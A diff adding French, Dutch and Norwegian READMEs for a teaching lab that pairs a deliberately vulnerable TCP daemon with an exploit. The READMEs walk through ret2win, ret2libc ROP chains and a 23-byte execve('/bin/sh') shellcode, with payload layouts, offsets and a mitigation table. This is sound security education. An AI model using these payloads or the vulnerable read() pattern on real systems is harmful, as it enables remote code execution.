./food` — ce motif matche aussi le shell dans lequel vous le +tapez et tue votre propre session. Ce n'est pas une hypothèse ; c'est arrivé +pendant la construction de ce lab. \ No newline at end of file diff --git a/README.NL.md b/README.NL.md new file mode 100644 index 0000000..d91f8c6 --- /dev/null +++ b/README.NL.md @@ -0,0 +1,424 @@ +# food / fooc — een stack-bufferoverloop, van beide kanten + +Een C99-beveiligingslab in twee helften: + +- **`food.c`** — een bewust kwetsbare TCP-daemon. Hij heeft een echte, + schoolboekachtige stack-bufferoverloop (CWE-120), plus een paar bugs + extra. +- **`fooc.c`** — een exploit daarvoor. Hij berekent de overflow-offset door + het doelprogramma tijdens het draaien te disassembleren, leest + adres-leaks van de daemon en krijgt een shell op het "slachtoffer" door + een opgeslagen retouradres te overschrijven. + +Het punt is niet de shell. Het punt is dat je van begin tot eind kunt volgen hoe +een geheugenveiligheidsbug uitgroeit tot willekeurige code-uitvoering — en +daarna precies ziet welke tegenmaatregelen elke stap in die keten stoppen. +Elke regel in beide programma's is gecommentarieerd, want het mechanisme is de +les. + +``` + jouw terminal + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (kwetsbare daemon) + | + fork() -> vulnerable_handler() -> overflow -> ret -> jouw code +``` + +--- + +## ⚠️ Lees dit eerst + +**`food` is een bewust kapotte netwerkdienst. Hij bindt alleen aan +`127.0.0.1`, en die standaard is bewust — laat hem daar.** + +- Draai hem **niet** op een machine waar je om geeft, of op iets met data. +- Bind hem **niet** aan `0.0.0.0` of een echte netwerkinterface. Hij is + bewust extern exploiteerbaar. +- `fooc` richten op een host die je niet bezit of waarvoor je geen schriftelijke + toestemming hebt om te testen, is in de meeste rechtsgebieden een + computercriminaliteitsovertreding — ook onder de UK Computer Misuse Act en + de US Computer Fraud and Abuse Act. +- Hij bindt aan een onbevoordeelde poort (>1024), dus je hebt geen root nodig. + "Verbeter" hem niet door capabilities toe te voegen of hem als + systeemdienst te draaien. +- Elke verbinding wordt afgehandeld in een `fork()`-kind, en `food` reapt + het, dus crashes stapelen zich niet op. Vind je daarna tientallen losse + `sh`-processen, dan is `pkill -x sh` de opruiming. + +Bij twijfel: dit lab is voor een virtuele machine of container, op een netwerk +dat jij beheert, op een machine zonder iets dat je zou missen. + +--- + +## Snelle start + +```sh +make # bouwt food, fooc en de test-harnesses +make run # start food op 127.0.0.1:2342, losgekoppeld op de achtergrond +make test # draait alle drie de exploit-technieken +make stop # stopt de daemon +``` + +Daarna met de hand: + +```sh +./fooc -t leak # bekijk de adres-leaks die food prijsgeeft +./fooc -t demo -v # stuur rommel; zie food sterven met SIGSEGV +./fooc -t ret2win -i # spring naar een functie die al bestaat -> shell +``` + +### Vereisten + +| Hulpmiddel | Waarvoor | Opmerkingen | +|---|---|---| +| `gcc` (of clang) | bouwen | C99. Getest met gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` roept het tijdens het draaien aan | +| `nasm` | `make verify` | alleen om de shellcode te verifiëren; wordt overgeslagen als het ontbreekt | +| `gdb` | `make debug` | optioneel | +| Linux, x86-64 | beide | payload en gadget-jacht zijn architectuurafhankelijk | + +`fooc` heeft ook `-ldl` nodig voor `dlsym()`; de Makefile regelt dat. + +--- + +## De bug + +Eén regel in `food.c` is het hele aanvalsoppervlak: + +```c +char buf[FOOD_BUFSZ]; /* 64 bytes */ +n = read(fd, buf, FOOD_READMAX); /* tot 512 bytes van het netwerk */ +``` + +64 bytes bestemming, 512 bytes geaccepteerd. De aanvaller overschrijft 448 +bytes voorbij het einde van de buffer, en omdat de stack naar beneden groeit, +betekent "voorbij het einde" "in het frame erboven" — en daar liggen precies de +opgeslagen framepointer en de **opgeslagen retouradres**. + +In een gecompileerde x86-64-functie bij `-O0`: + +``` + hoge adressen + +------------------------+ rbp + 16 : locals van de aanroeper + | ... | + +------------------------+ rbp + 8 : OPGESLAGEN RETOURADRES <-- wordt RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : onze framepointer + | line[128] | + | buf[64] | <- rsp: wat read() vult + +------------------------+ + lage adressen +``` + +Wanneer de functie terugkeert, poppen `leave; ret` de 8 bytes in `RIP`, en de +CPU springt waar de aanvaller het heeft bepaald. Al het andere in dit lab is +rekenkunde over waarheen je moet wijzen. + +Voor deze build zijn de getallen: `buf` is 64 bytes, de opgeslagen `rbp` is 8, +dus het retouradres ligt op offset **88** vanaf het begin van `buf`. `fooc` +hardcoded dat niet — het disassembleert `food` en vindt `lea -0x50(%rbp)` +vóór `call read@plt`, zodat het blijft werken als je `FOOD_BUFSZ` verandert. + +> gcc vertelt je dit al. `food` bouwen print: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Onderdruk die waarschuwing nooit in +> echte code. Het is gratis beveiliging. + +--- + +## De drie technieken + +`fooc -t `. Ze staan in de volgorde waarin een echte aanvaller er +doorheen zou werken, omdat elke techniek nodig heeft wat de vorige je leerde. + +### 1. `ret2win` — bestuur de instructiepointer + +``` +[ 88 bytes rommel ][ het adres van food's win() ] + ^ saved rbp + ^ wordt RIP +``` + +`win()` is een functie in het doelprogramma die `/bin/sh` exec't. Het +overschrijven van het retouradres met haar adres is het hele exploit. + +**Wat het leert:** je hebt volledige controle over de instructiepointer. Het +heeft ook geen leak nodig, want het binaire bestand is gebouwd met `-no-pie`, +dus `win()` staat voor altijd op een vast adres. + +**De tegenhanger in de echte wereld** is niet "aanvallen zijn makkelijk", +maar "lever geen ongedocumenteerde backdoors in netwerk-binaries". Zit er een +functie als `win()` in jouw binaire bestand, dan zal een bufferoverloop haar +vinden. Dat is letterlijk de Juniper ScreenOS-backdoor-CVE-klasse. + +**Verdediging:** `-fPIE` (of ASLR) randomiseert het laadadres, dus de aanvaller +moet het adres kennen — wat meestal betekent dat ze eerst een lek nodig hebben. +Daarom faalt `ret2win` tegen `food_hardened`. + +### 2. `ret2libc` — roep om het even wat aan, bij naam + +``` +[ rommel ][ pop rdi; ret ][ adres van "/bin/sh" ][ adres van system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + zet rdi de string om te sturen de functie om aan te roepen +``` + +Bij uitvoering: `ret` poppt `pop rdi; ret` in RIP; dat poppt de +`"/bin/sh"`-pointer in `RDI`; zijn `ret` poppt `system()` in RIP, terwijl `RDI` +de string nog vasthoudt. `system("/bin/sh")` draait. + +Gadgets (`pop rdi; ret`) zitten niet in `food` — deze glibc heeft geen +`__libc_csu_init` — dus `fooc` vindt ze door live libc-geheugen te scannen op +het bytepaar `5f c3`. Het lokaliseert libc via `/proc/self/maps`, vindt de +offsets van `system` en `"/bin/sh"` met `dlsym()` en berekent de base uit het +lek dat `food` prijsgeeft. Niets is hardcoded, dus het overleeft een +libc-update. + +**Wat het leert:** zodra je RIP kunt controleren, kun je *bestaande* +instructies aan elkaar rijgen. Dat is return-oriented programming, en zo ziet +bijna elk echt exploit eruit, omdat het geen door de aanvaller geleverd +uitvoerbaar geheugen nodig heeft. + +**Verdediging:** geen van de compilerflags stopt dit alleen. Het werkt tegen +een PIE-binary, met NX, met canary — zolang de aanvaller een lek heeft. De +verdedigingen zijn "heb de overloop niet" en "lek geen adressen". Zie de tabel +hieronder. + +### 3. `shellcode` — voer je eigen machinecode uit + +23 bytes, geplaatst aan het begin van de buffer, met `RIP` ernaar wijzend: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" als 8 ruwe bytes +push rdi ; leg de string op de stack +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; we zijn nu een shell +``` + +Dit is de puurste vorm van de bug: de aanvaller levert de *instructies*, niet +alleen het adres van instructies die al bestaan. Geen libc-offsets nodig, dus +het werkt in principe tegen een statisch gelinkt, volledig gerandomiseerd +doelwit. + +`make verify` assembleert `shellcode.S` en diff't het tegen de byte-array die +in `fooc.c` is ingebed, zodat de twee niet uiteen kunnen drijven. + +**Verdediging:** **NX** (ook wel W^X, "no execute" genoemd). De stack als +niet-uitvoerbaar markeren zorgt ervoor dat de hardware weigert er instructies +uit te halen, en de `ret` landt op een pagina die niet kan draaien. Daarom +geeft `make food` `-z execstack`: een normale Linux-stack is `rw-p`, niet +`rwx`, en de techniek sterft met SIGSEGV bij `RIP = het adres van de payload`. +De allerbelangrijkste les van het lab is dat elk van deze bytes alleen werkt +omdat de compiler opdracht kreeg de stack uitvoerbaar te laten. Dat vlaggetje +staat aan voor niemands gewin. + +### Ook inbegrepen + +| Modus | Wat hij doet | +|---|---| +| `-t leak` | verbindt, print leaks, stuurt niets | +| `-t demo` | stuurt `rip_off + 8` bytes `0x41`, zodat `RIP` `0x4141...` wordt en de daemon sterft. Bewijst de bug zonder enige adreskennis | +| `-t sled` | een ret-sled, bewust bewaard als **fout** voorbeeld. Zonder lek zou je ASLR brute-forcen door de buffer te vullen met het adres van een `ret`. Dat kan hier niet werken: `food` accepteert 512 bytes, dus de sled heeft ~53 slots tegenover ~28 bits entropie. Zo geïmplementeerd dat je het kunt zien falen en kunt bevestigen dat het mechanisme echt "de CPU volgt een keten van rets" is | + +--- + +## De tabel met tegenmaatregelen + +Dit is het deel om te onthouden. Elke rij is een echte verdediging, en de +rechterkolom laat zien wat die daadwerkelijk met de gebeurtenisketen doet. + +| Tegenmaatregel | Zo activeer je | Wat hij stopt | Wat hij *niet* stopt | +|---|---|---|---| +| **Beperk read** | `n = read(fd, buf, sizeof buf - 1);` | **Alles.** De bug bestaat niet, dus niets stroomafwaarts doet ertoe | Niets — dit is de enige volledige fix | +| **Stack-canary** | `-fstack-protector-strong` (gcc-standaard) | De `ret`: de canary wordt aan het einde van de functie gecontroleerd, dus de beschadiging wordt gedetecteerd en het proces aborted vóórdat `RIP` wordt gepopt | Een bug in een functie *zonder* array (niets om te beschermen); een overloop die onder de canary blijft; alles wat niet normaal return't | +| **NX / W^X** | `-z noexecstack` (de standaard) | Shellcode. De eigen instructies van de payload kunnen niet worden opgehaald | ret2win en ret2libc volledig. Die zijn *de reden* dat ROP bestaat | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (beide standaard) | De hardcoded adressen van ret2win. Alles verschuift bij elke run | Alles waar de aanvaller een lek heeft. ASLR verhoogt de prijs van een exploit; het is geen fix. Merk op dat stack, heap en mmap worden gerandomiseerd, maar de *inhoud* van de hoofd-binary niet — dat is wat ROP-ketens gebruiken | +| **Lek niets** | geen `printf("%p")` naar clients; initialiseer vóór je print | Het informatielek dat ASLR van "duur" naar "gratis" verandert | — | +| **Gebruik geen `printf(user_data)`** | `printf("%s", buf)` in plaats van `printf(buf)` | Format-string-bugs: `%x`-stack-reads, `%n`-willekeurige schrijfbewerkingen — een *andere* weg naar RCE | — | +| **Gebruik geen onbetrouwbare paden** | valideer en `openat()` onder een vaste map | Pad-traversal (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, kernel- en CPU-ondersteuning | De `ret` zelf: de shadow stack onthoudt het *echte* retouradres en faalt bij een mismatch. Vangt ROP-ketens die hardware-`ret` gebruiken | Aanvallen die nooit `ret`-en (call-oriented, of het doel van een functiepointer overschrijven met een gadget-keten die geen retour nodig heeft) | +| **Veilige talen** | Rust, Go, C# voor nieuwe code | De hele klasse. Bounds-checks worden tijdens de uitvoering afgedwongen, niet vertrouwd bij review | — | + +### Zie het zelf + +```sh +make run # kwetsbare daemon +make test # alle drie de technieken werken + +make test-hardened # dezelfde broncode, tegenmaatregelen aan +``` + +`test-hardened` bouwt `food_hardened` met `-fstack-protector-strong -fPIE -pie +-z noexecstack`, wisselt hem in, draait alle drie opnieuw en legt daarna de +kwetsbare terug. Je ziet: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +En in de log van de geharde daemon, de canary die afgaat: + +``` +*** stack smashing detected ***: terminated +``` + +Lees dat goed, want het is de belangrijkste regel van het hele lab: **de canary +ving ret2win, niet PIE.** Alle drie de technieken sterven bij de canary, omdat +alle drie door dezelfde `read()` gaan en hetzelfde frame beschadigen. NX stopt +alleen nog de *code* van de shellcode; PIE breekt alleen nog het hardcoded +adres. Zet ze één voor één aan, en je ontdekt dat de meeste enkele +tegenmaatregelen je ergens kwetsbaar achterlaten. + +--- + +## Bestanden + +| Bestand | Doel | +|---|---| +| `food.c` | de kwetsbare daemon. 6 genummerde bugs, elk met zijn fix in de commentaar | +| `fooc.c` | het exploit. objdump-gebaseerde offenderkenning, `/proc`-gebaseerde libc-herkenning, 4 payload-bouwers | +| `shellcode.S` | de 23 shellcode-bytes als assembly, zodat ze leesbaar en verifieerbaar zijn. `fooc` draagt ze inline en heeft dit tijdens het draaien niet nodig | +| `Makefile` | bouwt, test en de harde vergelijking | +| `tests/pty_test.c` | drijft `fooc` door een pseudo-terminal en controleert op echte shell-output | +| `tests/sock_test.c` | onafhankelijke verificateur over een rauwe socket, zodat het resultaat niet van `fooc` afhangt | +| `food.log` | de log van de daemon. Jouw bewijs van wat er gebeurde | + +--- + +## Twee bugs in dit lab die de moeite van het begrijpen waard zijn + +Dit zijn niet de bugs van het doelprogramma. Het zijn bugs in het exploit en in +zijn test-harness, en beide produceerden overtuigende leugens. Ze zijn +gedocumenteerd in de bron waar ze wonen; hier staan ze omdat de faalpatronen +leerzaam zijn. + +### Stack-uitlijning: de crash die geen NULL-dereferentie is + +**Symptoom.** De overname landt correct — `gdb` laat je in `win()` zien — en +dan sterft het allereerste wat `win()` doet, een `dprintf()`. De +SIGSEGV-handler rapporteert `RIP` diep in glibc's formatter en een foutadres +van `(nil)`, wat er precies uitziet als een corrupte pointer. + +**Oorzaak.** De System V AMD64-ABI vereist 16-byte stack-uitlijning. Een +normale `ret` herstelt `%rsp` precies zoals de bijbehorende `call` het +opsloeg, dus de invariant blijft gratis behouden. Onze kale `ret` doet dat +niet: daarna geldt `%rsp = buf + rip_off`. Hier is `buf` 16-byte uitgelijnd en +is `rip_off` 88, dus de callee krijgt een stack die 8 mod 16 is. glibc is met +SSE2 gecompileerd, en `movaps` **faalt** op een verkeerd uitgelijnde operand. +Op x86 werpt dat `#GP` op, niet `#PF`, dus de kernel heeft geen foutadres en +rapporteert `si_addr = 0`. Die NULL is de hint: een uitlijnfout vermomd als +NULL-dereferentie. + +**Fix.** Eén `ret`-gadget *op offset `rip_off`*, dat het echte doelwit 8 bytes +omhoog schuift, omdat elke `ret` precies 8 bij `%rsp` optelt. De volgorde is +kritiek: een eerdere versie plakte de `ret` *achter* het doelwit en produceerde +`[ padding | target | ret ]`, waarbij de afsluitende `ret` nooit wordt bereikt +en de fix stilletjes niets doet. Een verdwaalde `ret` die op een bug lijkt, is +bijna altijd bewust. + +### Eén socket, twee lezers: de byte die verdween + +**Symptoom.** Shellcode werd gerapporteerd als werkend. Toen werd de +pty-harness strenger gemaakt (`ECHO` uitzetten, zodat de terminal ophield de +eigen commandoregel van de harness naar zichzelf terug te echoën), en de +techniek begon te falen. Dieper ging elke techniek precies één byte van het +begin van elke uitvoer-chunk kwijt: `uid=1000(hanez)` werd geprint als +`id=1000(hanez)`, `PWNED-OK` als `WNED-OK`, `Linux 7.2.7` als `inux 7.2.7`. + +**Oorzaak.** `fooc` deed vroeger de socket `dup2()`en naar zijn eigen +stdin/stdout en een *lokale* `/bin/sh` `execv()`en, terwijl een geforkt +relay-kind dezelfde socket ook las om output naar de terminal te verplaatsen. +De kernel kan het niets schelen dat die twee samenwerken. Een streamsocket heeft +**één** lees-cursor, en elke lezer verplaatst hem, dus bytes worden +onvoorspelbaar tussen hen verdeeld. De lokale shell — een interactieve +login-shell — las precies één byte en gooide het weg, elke keer weer. +`strace -f` liet het onmiddellijk zien: + +``` +read(0, "u", 1) <- de lokale shell, eet een byte op +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- het relay, 1 byte te kort +``` + +**Fix.** Er is hier helemaal geen shell aan deze kant. Er is precies één shell +in het hele plaatje, en die zit op het slachtoffer, in het gekaapte proces, +met de TCP-verbinding als zijn stdin/stdout. Deze kant verplaatst alleen bytes. +Als je ooit twee consumenten van een stream nodig hebt, heeft die stream één +enkele lezer nodig die hem bewust demultiplext. + +**De meta-les.** Het eerste "werkende" resultaat was een fout-positief, +geproduceerd doordat de pty de eigen commandoregel van de harness terug naar +zichzelf echoëde, en de fix voor dat fout-positief is wat de echte bug +onthulde. Tests die niet kunnen falen, zijn erger dan geen tests, omdat ze "ik +weet het niet" veranderen in "het werkt". Een test-harness verdient hetzelfde +wantrouwen als de code die hij test. + +--- + +## Ermee spelen + +Dingen die de moeite waard zijn om te proberen, ongeveer in de volgorde waarin +je er het meest van leert: + +1. **Verander `FOOD_BUFSZ` naar 128.** Draai `fooc` opnieuw. Het zou nog + steeds moeten werken zonder wijzigingen, omdat het de offset uit de + disassembly leest. Breek het dan met de hand — hardcode 88 — en zie het + crashen. Voeg daarna een tweede array toe tussen `buf` en de opgeslagen + registers, en zie hoe de automatische herkenning het afhandelt. + +2. **Voeg `-Wformat-security` toe en kijk wat het format-string-pad doet.** + Stuur `%p %p %p %n` en zie `food` de stack lekken. + +3. **Gebruik gdb.** `make debug`, daarna: + ```gdb + (gdb) break food.c:393 # de read() die overloopt + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # merk op waar het retouradres ligt + (gdb) c # in een andere terminal: ./fooc -t ret2win + ``` + De SIGSEGV-handler logt `REG_RIP` en `REG_RSP`, dus `food.log` vertelt je of + de overname geland is, zelfs wanneer het kind sterft vóór je kunt aanhaken. + +4. **Verwijder de uitlijnfix** in `fooc.c` en zie de `#GP`-fout met de + `si_addr = 0`-handtekening. Lees dan `/proc/sys/kernel/randomize_va_space` + en denk na over wat ASLR randomiseert en wat niet. + +5. **Breek de libc-symbolresolutie** en zie hoe `fooc` zich aanpast. Het hele + punt van de `/proc/self/maps`-benadering is dat geen enkele offset + hardcoded is. + +6. **Schrijf een vierde techniek.** Een `ret2csu`-achtige keten als je + `__libc_csu_init` kunt vinden, of een SROP-keten (`sigreturn`-frames laten + je alle registers tegelijk controleren). Beide zijn puur ROP en hebben geen + uitvoerbaar geheugen nodig. + +7. **Fix `food.c` goed**, één bug tegelijk, en draai het exploit opnieuw na + elke fix. De volgorde in de tabel bovenaan `food.c` is ongeveer de juiste om + in te denken: beperk eerst de read, want niets anders doet ertoe voordat de + bug weg is. + +--- + +## Opruiming + +```sh +make stop # stopt food +make clean # verwijdert bouwproducten; laat food.log met rust +pkill -x sh # alleen als je losse shells hebt van een test die misging +``` + +Merk op: `pkill -x food` matcht de proces**naam** precies. Gebruik geen +`pkill -f ./food` — dat patroon matcht ook de shell waarin je het typt en doodt +je eigen sessie. Dat is geen hypothese; het gebeurde terwijl dit lab werd +gebouwd. \ No newline at end of file diff --git a/README.NO.md b/README.NO.md new file mode 100644 index 0000000..c34d14b --- /dev/null +++ b/README.NO.md @@ -0,0 +1,415 @@ +# food / fooc — et stack-bufferoverløp, fra begge sider + +Et C99-sikkerhetslaboratorium i to halvdeler: + +- **`food.c`** — en bevisst sårbar TCP-daemon. Den har et ekte, + lærebokaktig stack-bufferoverløp (CWE-120), og noen flere feil i tillegg. +- **`fooc.c`** — et exploit for det. Det beregner overflow-offsetet ved å + disassemblere målprogrammet under kjøring, leser adresse-leaks fra daemonen, + og får en shell på "offeret" ved å overskrive en lagret returadresse. + +Poenget er ikke shellen. Poenget er at du kan følge med fra ende til annen +hvordan en minnesikkerhetsfeil blir til vilkårlig kodeutførelse — og deretter +se nøyaktig hvilke mottiltak som stopper hvert trinn i den kjeden. Hver linje i +begge programmene er kommentert, fordi mekanismen er leksjonen. + +``` + terminalen din + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (sårbar daemon) + | + fork() -> vulnerable_handler() -> overflow -> ret -> koden din +``` + +--- + +## ⚠️ Les dette først + +**`food` er en bevisst ødelagt nettverkstjeneste. Den binder bare til +`127.0.0.1`, og den standarden er bevisst — la den være der.** + +- Kjør den **ikke** på en maskin du bryr deg om, eller på noe med data på. +- Bind den **ikke** til `0.0.0.0` eller en ekte nettverksgrensesnitt. Den er + bevisst eksternt utnyttbar. +- Å peke `fooc` mot en vert du ikke eier eller ikke har skriftlig tillatelse + til å teste, er en datainnbruddsforseelse i de fleste jurisdiksjoner — også + etter UK Computer Misuse Act og US Computer Fraud and Abuse Act. +- Den binder til en uprivilegert port (>1024), så du trenger ikke root. Ikke + "forbedre" den ved å legge til capabilities eller kjøre den som + systemtjeneste. +- Hver tilkobling håndteres i et `fork()`et barn, og `food` reaper det, så + krasj hoper seg ikke opp. Hvis du etterpå finner dusinvis av løse + `sh`-prosesser, er `pkill -x sh` oppryddingen. + +I tvilstilfeller: Dette laboratoriet er for en virtuell maskin eller en +container, på et nettverk du kontrollerer, på en maskin uten noe du ville +savnet. + +--- + +## Rask start + +```sh +make # bygger food, fooc og test-harnessene +make run # starter food på 127.0.0.1:2342, løsrevet i bakgrunnen +make test # kjører alle tre exploit-teknikkene +make stop # stopper daemonen +``` + +Deretter for hånd: + +```sh +./fooc -t leak # se adresse-leaksene food gir fra seg +./fooc -t demo -v # send søppel; se food dø med SIGSEGV +./fooc -t ret2win -i # hopp til en funksjon som allerede finnes -> shell +``` + +### Krav + +| Verktøy | Til hva | Merknader | +|---|---|---| +| `gcc` (eller clang) | bygging | C99. Testet med gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` kaller det under kjøring | +| `nasm` | `make verify` | bare for å kryssjekke shellcoden; hoppes over hvis det mangler | +| `gdb` | `make debug` | valgfritt | +| Linux, x86-64 | begge | payload og gadget-jakt er arkitekturavhengige | + +`fooc` trenger også `-ldl` for `dlsym()`; Makefile-et ordner det. + +--- + +## Feilen + +Én linje i `food.c` er hele angrepsflaten: + +```c +char buf[FOOD_BUFSZ]; /* 64 bytes */ +n = read(fd, buf, FOOD_READMAX); /* opptil 512 bytes fra nettverket */ +``` + +64 bytes destinasjon, 512 bytes akseptert. Angriperen overskriver 448 bytes +forbi slutten av bufferen, og fordi stacken vokser nedover, betyr "forbi +slutten" "inn i rammen over" — og det er akkurat der den lagrede +rammepekeren og den **lagrede returadressen** ligger. + +I en kompilert x86-64-funksjon ved `-O0`: + +``` + høye adresser + +------------------------+ rbp + 16 : kallers lokale + | ... | + +------------------------+ rbp + 8 : LAGRET RETURADRESSE <-- blir til RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : vår rammepeker + | line[128] | + | buf[64] | <- rsp: det read() fyller + +------------------------+ + lave adresser +``` + +Når funksjonen returnerer, popper `leave; ret` de 8 bytene inn i `RIP`, og +CPU-en hopper dit angriperen har valgt. Alt annet i dette laboratoriet er +aritmetikk om hvorhen man skal peke. + +For denne builden er tallene: `buf` er 64 bytes, det lagrede `rbp` er 8, så +returadressen ligger på offset **88** fra starten av `buf`. `fooc` hardkoder +ikke det — det disassemblerer `food` og finner `lea -0x50(%rbp)` foran +`call read@plt`, så det fortsatt virker hvis du endrer `FOOD_BUFSZ`. + +> gcc forteller deg allerede om dette. Å bygge `food` skriver ut: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Aldri undertrykk den advarselen i ekte +> kode. Den er gratis sikkerhet. + +--- + +## De tre teknikkene + +`fooc -t `. De står i den rekkefølgen en ekte angriper ville +arbeidet seg gjennom dem, fordi hver enkelt trenger det den forrige lærte deg. + +### 1. `ret2win` — kontroller instruksjonspekeren + +``` +[ 88 bytes søppel ][ adressen til food's win() ] + ^ saved rbp + ^ blir til RIP +``` + +`win()` er en funksjon i målprogrammet som exec'er `/bin/sh`. Å overskrive +returadressen med dens adresse er hele exploitet. + +**Hva det lærer:** du har vilkårlig kontroll over instruksjonspekeren. Det +trenger heller ikke noe leak, fordi binærfilen er bygget `-no-pie`, så `win()` +sitter på en fast adresse for alltid. + +**Den virkelige verdens ekvivalent** er ikke "angrep er enkle", men "ikke +send ut udokumenterte bakdører i nettverks-binærfiler". Hvis en funksjon som +`win()` finnes i binærfilen din, vil et bufferoverløp finne den. Det er +bokstavelig talt Juniper ScreenOS-bakdør-CVE-klassen. + +**Forsvar:** `-fPIE` (eller ASLR) randomiserer lasteadressen, så angriperen må +kjenne adressen — noe som vanligvis betyr at de først trenger et leak. Derfor +feiler `ret2win` mot `food_hardened`. + +### 2. `ret2libc` — kall hva som helst, ved navn + +``` +[ søppel ][ pop rdi; ret ][ adressen til "/bin/sh" ][ adressen til system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + setter rdi strengen å sende funksjonen å kalle +``` + +Ved utførelse: `ret` popper `pop rdi; ret` inn i RIP; det popper +`"/bin/sh"`-pekeren inn i `RDI`; dets `ret` popper `system()` inn i RIP, mens +`RDI` fortsatt holder strengen. `system("/bin/sh")` kjører. + +Gadgets (`pop rdi; ret`) er ikke i `food` — denne glibc-en har ikke noe +`__libc_csu_init` — så `fooc` finner dem ved å skanne live libc-minne etter +byte-paret `5f c3`. Den lokaliserer libc via `/proc/self/maps`, finner +offsets for `system` og `"/bin/sh"` med `dlsym()` og beregner basen fra +leaket `food` publiserer. Ingenting er hardkodet, så det overlever en +libc-oppdatering. + +**Hva det lærer:** når du først kan kontrollere `RIP`, kan du kjede sammen +*eksisterende* instruksjoner. Dette er return-oriented programming, og det er +slik nesten alle ekte exploits ser ut, fordi det ikke krever +angriperlevert kjørbart minne. + +**Forsvar:** ingen av kompilator-flagene stopper dette alene. Det virker mot +en PIE-binærfil, med NX, med canary — så lenge angriperen har et leak. +Forsvarene er "ikke ha overløpet" og "ikke lek adresser." Se tabellen nedenfor. + +### 3. `shellcode` — kjør din egen maskinkode + +23 bytes, plassert ved starten av bufferen, med `RIP` pekende på dem: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" som 8 rå bytes +push rdi ; legg strengen på stacken +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; vi er nå en shell +``` + +Dette er den reneste formen for feilen: angriperen leverer *instruksjonene*, +ikke bare adressen til instruksjoner som allerede finnes. Ingen libc-offsets +nødvendig, så det virker i prinsippet mot et statisk linket, fullt +randomisert mål. + +`make verify` assemblerer `shellcode.S` og diff'er det mot byte-arrayet +innebygd i `fooc.c`, så de to ikke kan drive fra hverandre. + +**Forsvar:** **NX** (også kalt W^X, "no execute"). Å markere stacken som +ikke-kjørbar gjør at maskinvaren nekter å hente instruksjoner fra den, og +`ret`-et lander på en side som ikke kan kjøres. Det er derfor `make food` +sender `-z execstack`: en vanlig Linux-stack er `rw-p`, ikke `rwx`, og +teknikken dør med SIGSEGV ved `RIP = payloadens adresse`. Den absolutt +viktigste leksjonen i laboratoriet er at hver eneste av disse bytene bare +virker fordi kompilatoren fikk beskjed om å la stacken være kjørbar. Det +flagget er på til gagn for ingen. + +### Også inkludert + +| Modus | Hva den gjør | +|---|---| +| `-t leak` | kobler til, skriver ut leaks, sender ingenting | +| `-t demo` | sender `rip_off + 8` bytes `0x41`, så `RIP` blir `0x4141...` og daemonen dør. Beviser feilen helt uten adressekunnskap | +| `-t sled` | et ret-sled, bevisst beholdt som et **feilende** eksempel. Uten et leak ville du brute-force ASLR ved å fylle bufferen med adressen til et `ret`. Det kan ikke virke her: `food` aksepterer 512 bytes, så sleden har ~53 slots mot ~28 bits entropi. Implementert så du kan se det feile og bekrefte at mekanismen virkelig er "CPU-en følger en kjede av rets" | + +--- + +## Mottiltak-tabellen + +Dette er delen å huske. Hver rad er et ekte forsvar, og høyre kolonne viser hva +den faktisk gjør med hendelseskjeden. + +| Mottiltak | Slik aktiverer du | Hva den stopper | Hva den *ikke* stopper | +|---|---|---|---| +| **Begrens read** | `n = read(fd, buf, sizeof buf - 1);` | **Alt.** Feilen finnes ikke, så ingenting nedstrøms betyr noe | Ingenting — dette er den eneste fullstendige fixen | +| **Stack-canary** | `-fstack-protector-strong` (gccs standard) | `ret`-et: canaryen sjekkes ved funksjonsavslutningen, så smadringen oppdages og prosessen aborter før `RIP` poppes | En feil i en funksjon *uten* array (ingenting å beskytte); et overløp som holder seg under canaryen; alt som ikke returnerer normalt | +| **NX / W^X** | `-z noexecstack` (standarden) | Shellcode. Payloadens egne instruksjoner kan ikke hentes | ret2win og ret2libc fullstendig. Disse er *grunnen* til at ROP finnes | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (begge standard) | ret2wins hardkodede adresser. Alt flytter seg ved hver kjøring | Alt der angriperen har et leak. ASLR hever prisen på et exploit; det er ikke en fix. Merk at stack, heap og mmap randomiseres, men hoved-binærfilens *innhold* gjør det ikke — det er det ROP-kjeder bruker | +| **Ikke lek** | ingen `printf("%p")` til klienter; initialiser før du skriver ut | Informasjonsleaket som gjør ASLR fra "dyrt" til "gratis" | — | +| **Ikke bruk `printf(user_data)`** | `printf("%s", buf)` i stedet for `printf(buf)` | Format-streng-feil: `%x`-stack-reads, `%n`-vilkårlige skrivninger, som er en *annen* vei til RCE | — | +| **Ikke bruk upålitelige stier** | valider og `openat()` under en fast mappe | Sti-traversal (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, kjernens og CPU-ens støtte | `ret`-et selv: shadow stacken husker den *ekte* returadressen og feiler ved mismatch. Fanger ROP-kjeder som bruker maskinvare-`ret` | Angrep som aldri `ret`-er (call-oriented, eller å overskrive en funksjonspekermål med en gadget-kjede som ikke trenger retur) | +| **Sikre språk** | Rust, Go, 